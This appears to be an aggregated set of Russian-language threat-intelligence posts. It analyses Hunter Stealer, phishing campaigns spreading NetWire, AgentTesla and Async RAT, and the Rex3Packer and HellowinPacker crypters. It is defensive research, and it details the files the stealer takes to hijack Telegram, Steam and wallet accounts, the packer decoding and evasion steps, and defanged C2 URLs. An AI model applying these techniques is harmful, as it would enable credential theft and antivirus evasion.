...например, ZipWorm, который просто цеплял себя ко всем .zip-файлам в текущей директории, появились, наконец, и более опасные вирусы, как, например, Ramen. Тут остновимся чуть подробнее. Это один из первых вирусов, который был многокомпонентным, каждый компонент выполняла определённую функцию. Червь копирует себя в Linux-систему в виде файла ramen.tgz.

Червь получает доступ к Web-серверу, используя по крайней мере одну (из нескольких) известную уязвимость в системе безопасности. Как только получен root-доступ, червь извлекает и записывает себя на главный компьютер, используя исполняемые файлы в формате ELF и shell-скрипты, которые выполняют команды для поиска доступных серверов в интернете. Так червь реплицируется дальше.

Следующее значимое событие, которое оказало влияние на развитие разработки вредоносного ПО, операция Windigo. Речь идёт про 2014 год. Эта организация осуществляет сложную и крупномасштабную киберпреступная деятельность, осуществляемую тысячами серверов Linux. Windigo заставляет сервер генерировать спам, передавать вредоносные программы и перенаправлять ссылки.

Вот исследования компании ESET насчёт данной группировки, которая даже функционирует на данный момент:

На данный момент среди вредоносного программного обеспечения распространены ботнеты.

Ботнет компьютерная сеть, состоящая из некоторого количества хостов с запущенными ботами автономным программным обеспечением. Подробное изучение данных вирусов является задачей на будущее.

Напоследок!

Если Вы дочитали мою первую статью, оставьте, пожалуйста, комментарий, покритикуйте, пожалуйста. Также очень рад всем предложениям по улучшению статьи.

Но даже на примере уже мною написанного этюда видно, насколько своеобразно развивалась разработка malware на Unix-подобных (в данном случае, Linux-системах, так как они более распространены и используются в процессе обучения) операционных системах.

Подробнее..

Особенности киберохоты как Hunter Stealer пытался угнать Telegram-канал База

08.02.2021 16:12:50 | Автор: admin

С ноября 2020 года участились случаи похищения аккаунтов у популярных Telegram-каналов. Недавно эксперты CERT-GIB установили тип вредоносной программы, с помощью которой хакеры пытались угнать учетку у Никиты Могутина, сооснователяпопулярного Telegram-канала База (320 тысяч подписчиков). В той атаке использовался стилер Hunter, который Могутину прислали под видом рекламы образовательной платформы. Сам стилер нацелен на устройства под управлением ОС Windows, поэтому атакующие так настойчиво просили журналиста открыть архив на рабочем компьютере, а не с iPhone, чего он и правильно делать не стал. Hunter "умеет" автоматически собирать учетные записи на зараженном компьютере, затем отсылает их злоумышленнику и раньше его, к примеру, часто использовали для кражи учетных данных у игроков GTA. Никита Карпов, младший вирусный аналитик CERT-GIB, провел анализ вредоносного файла и рассказал об особенностях киберохоты на популярные Telegram-каналы .

Кейс Базы

Стилер написан на C++ и рассылается владельцам каналов под видом предложения рекламы. Например, экземпляр, разбираемый в этой статье, маскировался под рекламу от GeekBrains.

Данный стилер продается на нескольких форумах и активно рекламируется самим продавцом.

Функционал

Функционал стилера реализован в методах, представленных ниже:

В процессе работы каждого метода похищенные данные записываются во временный файл со случайными именем и расширением:

Полученные временные файлы помещаются в архив внутри памяти процесса и затем удаляются.

Discord

Для похищения сессии Discord стилер ищет папку \discord\Local Storage\leveldb\ и копирует содержимое каждого файла во временный файл.

В архиве файлы записываются в папку с названием приложения и сохраняют изначальное имя файла Application\File.name.

Для примера была создана папка \discord\Local Storage\leveldb\ с файлом T.token.

Скриншот рабочего пространства

Для получения длины и ширины экрана используется win API GetSystemMetrics(). GetDC(0) используется, чтобы получить handle всего экрана, и с помощью CreateCompatibleBitmap() создается bitmap-объект, который сохраняется в файл Desktop.png.

Сбор файлов

Стилер получает путь USERPROFILE = C:\Users\USERNAME и собирает все файлы с расширениями из списка:

  • .txt

  • .rdp

  • .docx

  • .doc

  • .cpp

  • .h

  • .hpp

  • .lua (скрипты для GTA SAMP)

Steam

Для стилера интересны файлы с расширением .ssfn в папке Software\Valve\Steam\ssfn и все файлы из папки Steam/config/.

Для обхода защиты Steam Guard и доступа к аккаунту необходимо, чтобы пароль был сохранен в Steam-клиенте (галочка Запомнить пароль). Также нужны файлы с компьютера жертвы, которые собирает стилер:

  • файл с расширением .ssfn

  • config.vdf

  • loginusers.vdf

  • SteamAppData.vdf

Telegram

Стилер проверяет наличие Telegram среди процессов и получает расположение исполняемого файла "Telegram.exe". Далее программа проверяет, есть ли passcode в папке key_datas, и, если он установлен стилер начинает похищать данные других приложений. Если же Telegram не защищен passcodeом, то стилер похищает из папки \tdata\ файл, начинающийся с D877F783D5D3EF8C (в конце может быть любой символ), и файл, находящийся в \tdata\ D877F783D5D3EF8C и начинающийся с map (в конце может быть любой символ). Этих двух файлов будет достаточно для похищения сессии Telegram.

GTA SAMP

Данный стилер изначально ориентирован на игроков в GTA SAMP и похищение их аккаунтов. Об этом говорят файлы, собираемые с компьютера жертвы (скрипты, которые могут относиться к игре) и файлы, собираемые из \Documents\GTA San Andreas User Files\SAMP\. Для стилера интересны следующие файлы:

  • USERDATA.DAT хранит информацию о серверах, записывается в SAMP\servers.fav

  • chatlog.txt записывается в "SAMP\chatlog.txt"

Браузеры

Учетные данные пользователей браузера Mozilla Firefox стилер похищает из файла logins.json, который ищет в \Mozilla\Firefox\Profiles. Из браузеров Google Chrome и Chromium собираются:

  • данные о местоположении

  • учетные данные от аккаунтов на ресурсах

  • данные для автозаполнения форм

  • данные карт

  • cookies

  • аккаунты Facebook

Данные криптокошельков

Для всех криптокошельков алгоритм одинаковый:

  • Расшифровывается путь, связанный с кошельком:

    • Atomic \Atomic\Local Storage\leveldb\

    • Electrum \Electrum\wallets

    • Ethereum \Ethereum\keystore

    • Zcash \Zcash\

    • Exodus \Exodus\exodus.wallet\

  • Содержимое всех файлов переносится во временные файлы и помещается в архиве в папку с именем кошелька:

Бот нашел тестовый файл в папке.

И переместил его в архив.

Отчет

После сбора всех пользовательских данных создается файл "readme.txt", содержащий информацию о похищенных данных.

Для всех приложений в отчете отмечается, получилось ли похитить данные.

Но для криптокошельков всегда отмечается -. Это может свидетельствовать о том, что похищенные данные кошельков не отправляются клиенту, а остаются у владельца сервера.

Все собранные файлы помещаются в архив и отправляются на CnC.

Взаимодействие с CnC

Адрес командного центра также находится в зашифрованных строках:

Сетевое взаимодействие происходит через IPv6 или, если он недоступен через IPv4 по протоколу TCP. Для отправки архива с похищенными данными открывается сокет с портом 0x8AE = 2222.

В виде админ-панели выступает Telegram-бот, который находится на VDS (Virtual Dedicated Server). Похищенные данные изначально попадают к владельцу сервера, а затем отправляются клиенту через Telegram-бота.

В дампе трафика, полученного из отчета модуля THF Polygon, видим передачу архива.

Шифрование

Алгоритм шифрования, используемый для защиты строк:

  • На вход функции дешифровки подаются три параметра:

    • XOR-константа для данного слова

    • константа для инициализации KSA (Key Scheduling Algorithm)

    • длина строки

  • Для генерации ключа используются два последовательных KSA. Первый ключ генерируется по длине нужной строки из константы и ключа размером 32 байта, который генерируется алгоритмом MurMurHash2 по 4 байта. Второй получает результат работы первого и еще один сгенерированный через MurMurHash2 ключ.

  • Для каждого символа ключа, полученного из второго KSA, выполняется операция XOR с константным значением.

Реализация алгоритма MurMurHash2Реализация алгоритма MurMurHash2

Противодействие анализу

Для противодействия анализу используются следующие методы:

  • шифрование строк, разобранное выше

  • определение наличия отладки через win API-вызов IsDebuggerPresent()

Продавец и разработчик

В объявлениях на форумах продавец Hunter указывает свой контакт в Telegram как @NoFex228. К этому аккаунту привязан профиль Александра ХХ. во ВКонтакте, где обнаружено несколько постов, связанных с различными стилерами и продажей аккаунтов из GTA SAMP. Telegram-аккаунт разработчика указан во всех отчетах бота как @karelli. К нему привязан телефонный номер, связанный со страницей "ВКонтакте" некоего Анатолия ХХ.

Заключение

Хотя Hunter Stealer не отличается ни обширным функционалом, ни серьезным противодействием анализу, вредоносное ПО, похищающее пользовательские данные, способно нанести серьезный ущерб. Опасность такого ВПО в скорости выполнения задач и простом доступе к ценной информации.

Если у владельца Telegram-канала не включен код-пароль приложения, то злоумышленникам не составит труда восстановить сессию и сменить владельца канала. Так что вывод прост: не открывать подозрительные сообщения, архивы и ссылки и не пользоваться ОС, где стилеры чувствуют себя как дома.

Что делать, если заражение уже произошло?

Пока компьютер инфицирован, устанавливать код-пароль нет смысла, так как вредоносная программа может обладать возможностями клавиатурного шпиона. К работе на этом ПК можно возвращаться только после нейтрализации вредоносного кода.

Для администратора необходимо оперативно завершить активный сеанс на инфицированном компьютере и с помощью другого устройства (например, смартфона) сменить облачный пароль в настройках конфиденциальности, установить код-пароль на всех других доверенных устройствах.

Подробнее..

Kremlin RATs история одной мистификации

15.02.2021 12:06:03 | Автор: admin

Этим постом мы начинаем двухсерийный технодетектив, в котором встретились "священная триада" доменов: putin, kremlin, crimea и "крысы" программы удаленного доступа (RAT), а также шпион AgentTesla. Началась история с того, что в конце мая 2020 года сетевой граф Group-IB, наша автоматизированная система анализа инфраструктуры, начал детектировать домены с интересным паттерном *kremlin*.duckdns.org, к которым подключались различные вредоносные файлы. Аналитики Group-IB Threat Intelligence & Attribution исследовали эти домены и установили три кампании по распространению различных RAT. Они шли с 2019 года и были нацелены на пользователей из Польши, Турции, Италии, Украины, России, Казахстана, Болгарии, Беларуси, Греции и Чехии. В ходе расследования была установлена связь между обнаруженными доменами и остальной используемой инфраструктурой, а заодно и с конкретным человеком, который стоит за распространением AgentTesla и других вредоносных программ. Итак, обо всем по-порядку.

Кампания лета 2020 года

В начале список доменов, который привлёк наше внимание, выглядел так:

  • crimea-kremlin.duckdns.org

  • kremlin-afghan.duckdns.org

  • kremlin-crimea.duckdns.org

  • kremlin-turbo.duckdns.org

Данные домены были зарегистрированы на один IP-адрес 79.134.225.43 15 июня 2020 года. По данным сетевого графа Group-IB, только с этими четырьмя доменами связанно порядка 30 различных вредоносных файлов. Судя по документам-приманкам, данная кампания была нацелена на пользователей из Польши, Турции, Италии, Германии и Болгарии.

Связанная инфраструктураСвязанная инфраструктура

Дальнейший анализ показал, что в основном файлы были залиты в публичные источники, начиная с 25 июня 2020 года. Самые распространенные имена Potwierdzenie transakcji.xls, lem makbuzu, WACKER - 000160847.xls, Potwierdzenie operacji.xls. Один из таких файлов, SHA1: 95A6A416F682A9D254E76EC38ADE01CE241B3366, является документом-приманкой на польском языке и якобы отправлен от Bank Polski.

Изображения документа-приманки SHA1: 95A6A416F682A9D254E76EC38ADE01CE241B3366Изображения документа-приманки SHA1: 95A6A416F682A9D254E76EC38ADE01CE241B3366

Заражение

После активации макросов в этом документе выполняется PS-скрипт для извлечения команды второго этапа из файла lab.jpg, размещенном на удаленном сервере:

Исполняемый PS-скрипт из макросаИсполняемый PS-скрипт из макроса

В файле lab.jpg содержится обфусцированная в BASE64 команда, которая после декодирования выглядит следующим образом:

Деобфусцированное содержимое lab.jpgДеобфусцированное содержимое lab.jpg

Данный код считывает содержимое файла http://officeservicecorp[.]biz/rnp.txt, в котором и находится полезная нагрузка.

В результате выполнения данной последовательности PS-скриптов загружается и выполняется популярный NetWire RAT, который и производит подключение к своему C&C-серверу kremlin-crimea[.]duckdns.org на порт 3396.

Конфигурация NetWire RATКонфигурация NetWire RAT

Действительно, если мы вставим изначальные домены в граф с шагом 2, то увидим не только эти домены, но и остальную связанную инфраструктуру, которая участвовала во всех стадиях заражения.

Граф с шагом 2. Связанная инфраструктураГраф с шагом 2. Связанная инфраструктура

Интересно, что те файлы, которые подключались к office-service-tech[.]info, также производили сетевое подключение к ahjuric[.]si. Пример таких файлов SHA1 a3816c37d0fbe26a87d1cc7beff91ce5816039e7. Это документ-приманка на турецком языке с логотипом государственного банка Турции.

Документ-приманка на пользователей Турции. SHA1: a3816c37d0fbe26a87d1cc7beff91ce5816039e7Документ-приманка на пользователей Турции. SHA1: a3816c37d0fbe26a87d1cc7beff91ce5816039e7

Данный документ также содержит вредоносный макрос, исполняющий PS-скрипт, который считывает Code.txt с удаленного сервера и запускает цепочку обфусцированных PS-скриптов.

Исполняемый PS-скрипт из макросаИсполняемый PS-скрипт из макросаСодержимое ahjuric[.]si/code.txtСодержимое ahjuric[.]si/code.txt

Результатом выполнения обфусцированного PS-скрипта будет выполнение еще одного обфусцированного в Base64 скрипта, который в конечном счете и выполнит полезную нагрузку в виде Netwire Rat из office-service-tech[.]info/pld.txt.

Содержимое office-service-tech[.]info/pld.txtСодержимое office-service-tech[.]info/pld.txt

C&C-сервером данного образца является crimea-kremlin.duckdns[.]org.

Также мы обнаружили файлы, которые производят сетевое подключение одновременно к kremlin-turbo.duckdns[.]org и wshsoft[.]company. Название домена относит нас к WSH RAT, который основан на коде Houdini. Один из таких файлов SHA1: b42a3b8c6d53a28a2dc84042d95ce9ca6e09cbcf. Данный образец RAT отправляет на C&C-сервер kremlin-turbo.duckdns[.]org:3397 запросы вида /is-ready, а в качестве UA у него указан WSHRAT.

Сетевые запросы файла SHA1: b42a3b8c6d53a28a2dc84042d95ce9ca6e09cbcfСетевые запросы файла SHA1: b42a3b8c6d53a28a2dc84042d95ce9ca6e09cbcf

На этом этапе важно отметить, что часть используемых доменов в этой кампании была зарегистрирована на почту tetragulf@yahoo.com.

Кампания весны 2020 года

Изучая всю остальную связанную инфраструктуру, мы обратили внимание на домены, зарегистрированные на asetonly@yahoo.com. С начала 2020 года на эту почту были зарегистрированы следующие домены:

  1. nitro-malwrhunterteams.com

  2. office-data-labs.com

  3. putin-malwrhunterteams.com

  4. kremlin-malwrhunterteam.info

  5. skidware-malwrhunterteams.com

  6. screw-malwrhunterteams.com

  7. screw-malwrhunterteam.com

  8. office-services-labs.com

  9. office-cloud-reserve.com

  10. office-clean-index.com

  11. office-cleaner-indexes.com

Мы собрали более 130 различных образцов вредоносных программ из различных источников, связанных только с этими доменами. Судя по названиям и содержимому данных образцов, кампания весны 2020 года была нацелена на пользователей из Европы и стран СНГ мы обнаружили документы-приманки на украинском, белорусском, казахском, русском и греческом языках.

Первые файлы данной кампании были загружены на публичные песочницы 23 марта 2020 года. Один из таких файлов Аналз проекту.docx SHA1-d8826efc7c0865c873330a25d805c95c9e64ad05 распространялся в качестве вложения к письму Електронна розсилка_ Змнене замовлення.eml SHA1-7f1fdf605e00323c055341919173a7448e3641fb, которое было загружено на VirusTotal через веб-интерфейс из Украины.

Содержимое письма Електронна розсилка_ Змнене замовлення.emlСодержимое письма Електронна розсилка_ Змнене замовлення.eml

Заражение

Содержимое самого документа не вызывает интереса и выглядит как отсканированный лист со счетом. Однако сам документ во время запуска эксплуатирует уязвимость CVE-2017-0199. В результате выполняется команда, которая загружает полезную нагрузку в виде http://office-cloud-reserve[.]com/hydro.exe.

Исполняемый PS-скриптИсполняемый PS-скрипт

Загружаемой полезной нагрузкой является программа-шпион AgentTesla (почитать о ней вы можете тут, тут и тут). В качестве сервера для эксфильтрации данных используется ftp.centredebeautenellycettier[.]fr легитимный домен, который, по всей видимости, был скомпрометирован.

Установка FTP-соединения.Установка FTP-соединения.

Другой исследуемый файл SHA1- 19324fc16f99a92e737660c4737a41df044ecc54, который называется Байланыс орталытары.img, распространялся в качестве вложения через электронное письмо SHA1- 403c0f9a210f917e88d20d97392d9b1b14cbe310 на казахском языке c темой, относящейся к COVID-19.

Содержимое письма 403c0f9a210f917e88d20d97392d9b1b14cbe310Содержимое письма 403c0f9a210f917e88d20d97392d9b1b14cbe310

Данное вложение является .iso-образом и в некоторых случаях называется Байланыс орталытары.img. Файл монтируется в систему как образ, в котором находится лишь один обфусцированный VBS-файл SHA1: fd274f57e59c8ae3e69e0a4eb59a06ee8fd74f91 под названием Денсаулы сатау бойынша анытамалы жне деректер базасы.vbs. Данный файл по сути является загрузчиком, который выполняет обфусцированный PS-код. При его открытии происходит считывание файла http://office-cleaner-indexes[.]com/loud.jpg.

Содержимое сбрасываемого файла SHA1:fd274f57e59c8ae3e69e0a4eb59a06ee8fd74f91Содержимое сбрасываемого файла SHA1:fd274f57e59c8ae3e69e0a4eb59a06ee8fd74f91

В результате происходит загрузка и выполнение AgentTesla, который также производит эксфильтрацию данных через ftp.centredebeautenellycettier[.]fr.

Другой документ SHA1: c992e0a46185bf0b089b3c4261e4faff15a5bc15 под названием 060520.xls распространялся через письмо на греческом языке, а его содержимое выглядит так же, как и все другие в этой кампании, только на греческом языке. Его полезная нагрузка в виде NanoCore Rat подключается к screw-malwrhunterteams[.]com.

Содержимое документа-приманки 060520.xlsСодержимое документа-приманки 060520.xls

Кампания 2019 года

Продолжая исследовать инфраструктуру, связанную с tetragulf@yahoo.com, мы обнаружили, что в 2019 году на эту почту было зарегистрировано всего четыре домена, два из которых были зарегистрированы в конце февраля и участвовали в одной кампании по распространению вредоносных документов.

Список зарегистрированных доменов (подчеркнутые точно вредоносные):

  • east-ge.com

  • mariotkitchens.com

  • sommernph.com

  • kingtexs-tvv.com

Первые файлы, связанные с этими доменами, начали загружаться в публичные песочницы 18 июня 2019 года.

Список вредоносных файлов, связанных с кампанией 2019 годаСписок вредоносных файлов, связанных с кампанией 2019 года

Основная часть из этих файлов представляет собой RTF-документы, эксплуатирующие уязвимость CVE-2017-11882, а другие исполняемую полезную нагрузку. В ходе исследования этой кампании мы обнаружили письма и документы-приманки на украинском, русском, греческом, испанском и чешском языках.

Заражение

Один из первых документов этой кампании распространялся через электронную почту под разными названиями: CNC 0247.doc, ЧПУ 0247.doc SHA1:443c079b24d65d7fd74392b90c0eac4aab67060c.

Содержимое письма SHA1: b6ff3e87ab7d6bd8c7abd3ee30af24b4e3709601Содержимое письма SHA1: b6ff3e87ab7d6bd8c7abd3ee30af24b4e3709601

Согласно данным из нашего графа, этот документ устанавливает подключение к http://68.235.38[.]157/ava.hta и kingtexs-tvv[.]com.

Сетевое взаимодействие файла SHA1: 443c079b24d65d7fd74392b90c0eac4aab67060cСетевое взаимодействие файла SHA1: 443c079b24d65d7fd74392b90c0eac4aab67060c

Мы заинтересовались этим хостом и обнаружили дополнительные файлы, которые устанавливали сетевое подключение к http://68.235.38[.]157. Одни из таких файлов, Estos son los documentos adjuntos de junio.doc SHA1: 02799b41c97b6205f1999a72cef8b8991d4b8092 и New Order.doc SHA1: 25abf0f75c56516134436c1f836d9db1e770ff30, эксплуатируют уязвимость CVE-2017-11882. Во время запуска они устанавливают подключение к http://68.235.38[.]157/oyii.hta.

Содержимое http://68.235.38[.]157/oyii.htaСодержимое http://68.235.38[.]157/oyii.hta

Этот файл содержит код на Visual Basic, который выполняет обфусцированную в Base64 PS-команду на загрузку полезной нагрузки из общедоступного файлового хранилища https://m.put[.]re/Qm8He5E4.exe - SHA1: 523c5e0a1c9bc6d28f08500e96319571b57e4ba7 и сохраняет в директорию temp под именем avantfirewall.exe.

Исполняемый PS-скриптИсполняемый PS-скрипт

Загружаемая полезная нагрузка считывает содержимое из https://paste[.]ee/r/rSrae, вследствие чего выполняется Async RAT, который устанавливает подключение к своему C&C-серверу kizzoyi.duckdns[.]org на порт 8808.

Другой документ из данной кампании SHA1-1230acfd1f6f5b13a218ff8658a835997d1f0774 под названием таблиц.doc распространялся через письмо на украинском языке.

Из-за критически опасной уязвимости CVE-2017-11882, позволяющей выполнить вредоносный код без взаимодействия с пользователем, во время запуска этого документа происходит выполнение кода, содержащегося в OLE-объекте wd32PrvSE.wmf.

Ole объекты содержащиеся в SHA1:1230acfd1f6f5b13a218ff8658a835997d1f0774Ole объекты содержащиеся в SHA1:1230acfd1f6f5b13a218ff8658a835997d1f0774

В результате выполнения кода из OLE-объектов загружается и выполняется Async RAT.

Заключение

На этой ноте мы заканчиваем первую часть исследования. Мы понимаем, что этот детектив должен закончиться чем-то логичным, и в следующей части вы с новыми силами окунетесь в развязку данной истории. Пока же можете изучить наше ежегодное исследование Hi-Tech Crime Trends или взглянуть на наши вакансии.

Рекомендации

Ниже техники атакующего и защитные техники в соответствии с MITRE ATT&CK и MITRE Shield, которые мы рекомендуем использовать для защиты и предотвращения инцидентов.

Все защитные техники реализованы в продуктах Group-IB для защиты на разных этапах атаки. Если у вас будут вопросы или подозрения на инцидент обращайтесь на response@cert-gib.com.

Tactics

Techniques of adversaries

Mitigations & Active Defense Techniques

Group-IB mitigation & protection products

Resource Development

T1583. Acquire Infrastructure

ID: T1588.005. Obtain Capabilities: Exploits

ID: T1588.001. Obtain Capabilities: Malware

M1056. Pre-compromise

M1016. Vulnerability Scanning

Security Assessment

Threat Intelligence & Attribution

Initial Access

ID: T1566.001. Phishing: Spearphishing Attachment

M1049. Antivirus/Antimalware

M1031. Network Intrusion Prevention

M1017. User Training

M1050. Exploit Protection

M1051. Update Software

DTE0035. User Training

DTE0019. Email Manipulation

DTE0027. Network Monitoring

Threat Hunting Framework

Threat Intelligence & Attribution

Cyber Education

Red Teaming

Execution

T1059. Command and Scripting Interpreter

T1204. User Execution

T1203. Exploitation for Client Execution

M1049. Antivirus/Antimalware

M1038. Execution Prevention

M1021. Restrict Web-Based Content

M1026. Privileged Account Management

DTE0035. User Training

DTE0021. Hunting

DTE0018. Detonate Malware

DTE0007. Behavioral Analytics

DTE0003. API Monitoring

DTE0034. System Activity Monitoring

Threat Hunting Framework

Red Teaming

Incident Response

Fraud Hunting Platform

Persistence

T1053. Scheduled Task/Job

Defense Evasion

T1036. Masquerading

T1027. Obfuscated Files or Information

Credential Access

T1555. Credentials from Password Stores

T1552. Unsecured Credentials


M1049. Antivirus/Antimalware

DTE0007. Behavioral Analytics

DTE0003. API Monitoring

DTE0034. System Activity Monitoring

Threat Hunting Framework

Collection

T1005. Data from Local System

Command and Control

T1071. Application Layer Protocol

T1573. Encrypted Channel

M1038. Execution Prevention

M1031. Network Intrusion Prevention

DTE0021. Hunting

DTE0022. Isolation

DTE0027. Network Monitoring

DTE0003. API Monitoring

DTE0034. System Activity Monitoring

DTE0031. Protocol Decoder

Threat Hunting Framework

Подробнее..

Исследование какие способы обхода антивирусов используют хакеры

12.04.2021 16:18:43 | Автор: admin

Создание уникального вредоносного ПО требует больших ресурсов, поэтому многие хакерские группировки используют в своих атаках массовое, часто публично доступное ВПО. Широкое использование неизбежно приводит к тому, что такой инструмент попадает на радары антивирусных компаний, а его эффективность снижается.

Для решения этой проблемы хакеры используют техники упаковки, шифрования и мутации кода. Такие техники часто реализуют отдельные инструменты крипторы (crypters) или просто пакеры. В этой статье на примере банковского трояна RTM мы рассмотрим, какие пакеры могут использовать злоумышленники и как эти пакеры осложняют обнаружение ВПО.

Полная версия данного исследования доступна по ссылке.


Packer-as-a-service

Хакерская группа, стоящая за распространением RTM, до конца 2020 года регулярно проводила массовые фишинговые рассылки с вредоносными вложениями. Этот процесс, по всей видимости, происходил автоматически.

Каждое такое вложение содержало существенно отличающиеся друг от друга файлы, при этом итоговая полезная нагрузка практически не менялась.

Пример архива RTMПример архива RTM

Подобная особенность естественное следствие применения крипторов. Первоначально группа, стоящая за RTM, использовала свой собственный уникальный криптор, однако в течение 2020 года дважды его сменила.

При исследовании по-новому упакованных образцов нам удалось обнаружить множество другого ВПО, которое было защищено аналогичным образом. Пересечения с другими вредоносами с учетом автоматизации процесса упаковки, на наш взгляд, позволяют говорить об использовании злоумышленниками модели packer-as-a-service. В этой модели упаковка вредоносных файлов делегируется специальному сервису, которым управляет третья сторона. Доступ к таким сервисам часто продается на хакерских форумах.

Rex3Packer

Первое использование этого пакера группой RTM, которое нам удалось обнаружить, относится к ноябрю 2019 года. Активное же его применение, по нашим данным, приходится на период апрельмай 2020 года.

Фишинговое письмо RTM, январь 2021Фишинговое письмо RTM, январь 2021

Нам не удалось связать этот упаковщик с каким-либо из ранее описанных публично, поэтому мы дали ему свое название по трем особенностям его устройства: наличию рекурсии (recursion), реверса битов (reverse) и рефлективной загрузки PE-файлов (reflection) Rex3Packer.

Алгоритм распаковки

Общий алгоритм извлечения полезной нагрузки выглядит так:

  1. С помощью VirtualAlloc выделяется заранее определенное количество памяти с правами на чтение, запись и исполнение.

  2. В выделенный буфер копируется содержимое образа текущего процесса в памяти (в частности, секция .text).

  3. Управление передается на функцию внутри буфера.

  4. Вычисляется разница между положением одних и тех же данных в буфере и в образе PE-файла (разность между адресами в буфере и виртуальными адресами в образе). Эта разность заносится в регистр ebx. Все обращения к виртуальным адресам в коде проиндексированы содержимым этого регистра. За счет этого везде, где это необходимо, к адресам из PE-образа добавляется поправка, которая позволяет получить соответствующий адрес в буфере.

  5. Выделяется еще один буфер под упакованные данные.

  6. Через вызов VirtualProtect устанавливаются права RWX на весь регион памяти с образом PE-файла.

  7. Упакованные данные копируются в свой буфер.

  8. Происходит декодирование упакованных данных.

  9. Регион памяти с образом PE заполняется нулевыми байтами.

  10. Декодированные данные представляют собой исполняемый файл PE-нагрузку. Эта полезная нагрузка рефлективно загружается на место исходного PE-образа, а управление передается на ее точку входа.

Отдельный интерес представляет специфический алгоритм декодирования упакованных данных. В данном случае некорректно говорить об упаковке как о сжатии: алгоритм устроен так, что размер упакованных данных всегда больше размера исходных.

Непосредственно упакованным данным предшествует заголовок размером 16 байт, который содержит 4 поля по 4 байта:

  • размер самого заголовка,

  • размер исходных данных (PE-нагрузки),

  • позиция в исходных данных (*), по которой происходит их разделение,

  • режим кодирования (1, 2, либо 4).

Декодирование выполняется следующим образом:

  1. Внутри каждого байта выполняется реверс порядка битов (к примеру, 10011000 становится 00011001).

  2. В зависимости от режима кодирования (1, 2, 4), данные разбиваются на блоки размером N = 9, 5, либо 3 байта соответственно. Результат декодирования блока это (N 1) байт (то есть 8, 4, или 2).

  3. В первых N-1 байтах блока отсутствует часть битов: их значения всегда равны нулю. Чтобы восстановить оригинальные байты, с помощью масок вида 00000001, 00010001 или 01010101 из последнего байта блока извлекаются недостающие биты. При этом для каждого следующего байта маска сдвигается. То есть последний байт блока фактически составлен из объединенных логической операцией OR битов, которые извлечены из предыдущих байтов.

Например, в режиме 4 последний байт состоит из четных битов первого байта блока и нечетных битов второго байта блока. В результате возврата этих битов в первый и второй байты получается оригинальная последовательность из двух байт.

Схема получения исходных байтов в режиме 4Схема получения исходных байтов в режиме 4

4.После операции по восстановлению битов во всех блоках полученные данные представляют собой исходный PE-файл, который был разделен по позиции (*) на две части. Эти части, в свою очередь, были переставлены между собой. Обратная перестановка с учетом значения (*) позволяет получить оригинальный файл.

Обфускация

Чтобы усложнить анализ кода, в пакере применяется различного рода запутывание:

  • В промежутках между исполнением полезных команд делаются вызовы различных функций WinAPI. Их результаты сохраняются, но не используются, а сами функции выбираются так, чтобы не влиять на работу программы.

 Примеры вызова функций WinAPI Примеры вызова функций WinAPI
  • Характерная особенность данного пакера наличие циклов (не выполняющих полезных операций), которые реализуются через рекурсивную функцию.

Функция с рекурсивным вызовом (вариант без обфускации)Функция с рекурсивным вызовом (вариант без обфускации)
  • Для дополнительного запутывания в исполняемый файл добавляется несколько десятков случайно сгенерированных функций. Они могут ссылаться друг на друга, но в процессе работы ни одна из них не получает управления.

Использование

Кроме экземпляров RTM, мы обнаружили использование Rex3Packer для упаковки различного ВПО, в основном из стран СНГ.

Семейство ВПО

SHA256

Phobos Ransomware

6e9c9b72d1bdb993184c7aa05d961e706a57b3becf151ca4f883a80a07fdd955

Zeppelin Ransomware

8d44fdbedd0ec9ae59fad78bdb12d15d6903470eb1046b45c227193b233adda6

Raсcoon Stealer

3be91458baa365febafb6b33283b9e1d7e53291de9fec9d3050cd32d98b7a039

KPOT Stealer

9b6af2502547bbf9a64ccfb8889ee25566322da38e9e0ccb86b0e6131a67df1e

Predator The Thief

d1060835793f01d1e137ad92e4e38ef2596f20b26da3d12abcc8372158764a8f

QakBot

18cc92453936d1267e790c489c419802403bb9544275b4a18f3472d2fe6f5dea

Также мы отметили использование пакера для упаковки экземпляров ВПО из семейств Nemty, Pony, Amadey.

HellowinPacker

В мае 2020 группа RTM переключилась на использование нового упаковщика HellowinPacker, который продолжала активно использовать до начала 2021 года. Ключевой особенностью этого пакера является два уровня мутации кода. Первый из них существенно меняет структуру кода распаковки, делая различные образцы не похожими друг на друга.

Сравнение кода в двух экземплярах разной структурыСравнение кода в двух экземплярах разной структуры

Второй уровень меняет лишь отдельные детали при неизменной в целом структуре кода. При этом изменения главным образом затрагивают ассемблерные инструкции и не влияющие на работу программы константы. В результате в декомпилированном виде код выглядит практически идентичным.

Сравнение кода в двух экземплярах одной структурыСравнение кода в двух экземплярах одной структуры

Так же, как и в случае с Rex3Packer, мы имеем дело с массовым использованием HellowinPacker для упаковки различного ВПО. При этом вредоносное ПО из одного семейства, как правило, имеет в упакованном виде одну и ту же структуру. Это можно пронаблюдать, по крайней мере, на протяжении некоторого времени затем структура может измениться.

Алгоритм распаковки

Одни из первых действий, которые встречаются во всех упакованных файлах это попытки открыть ключ реестра HKEY_CLASSES_ROOT\Interface\{b196b287-bab4-101a-b69c-00aa00341d07} (регистр символов в конкретном случае может отличаться) и запросить в нем значение по умолчанию (Default). От успешности этих операций в некоторых модификациях генерируемого кода зависит корректное продолжение работы программы.

GUID интерфейса в разных случаях также может отличаться.

Дальнейший код некоторым образом получает адрес, по которому располагается блок зашифрованных данных.

Этот блок начинается с четырехбайтного числа, которое хранит размер исходных данных (тех, которые будут получены после декодирования). Вызовом VirtualAlloc под расшифрованные данные выделяется блок памяти нужного размера с правами RWX. В выделенную память блоками по X байт копируются зашифрованные данные. При этом в оригинальном файле между этими блоками располагаются пропуски длиной Y байт.

Схема копирования данных в HellowinPackerСхема копирования данных в HellowinPacker

Затем происходит процесс дешифровки блоками по 4 байта:

  • очередной блок интерпретируется как целое число (DWORD),

  • к его значению прибавляется индекс первого байта в блоке,

  • выполняется операция xor между полученным значением и суммой индекса и фиксированного ключа, числа Z.

Обфускация

Как и в случае с Rex3Packer, в экземплярах с HellowinPacker встречаются вызовы функций WinAPI, не относящихся к основной логике программы. Однако в данном случае они используются скорее как способ затруднить поведенческий анализ и детектирование в песочницах. В пользу этого предположения говорит то, что в большинстве случаев разнообразные функции вызываются подряд в самом начале программы.

Точка входа в одной из упакованных библиотекТочка входа в одной из упакованных библиотек

Дополнительным эффектом от такого использования WinAPI становится невозможность детектирования по списку импортируемых функций и imphash.

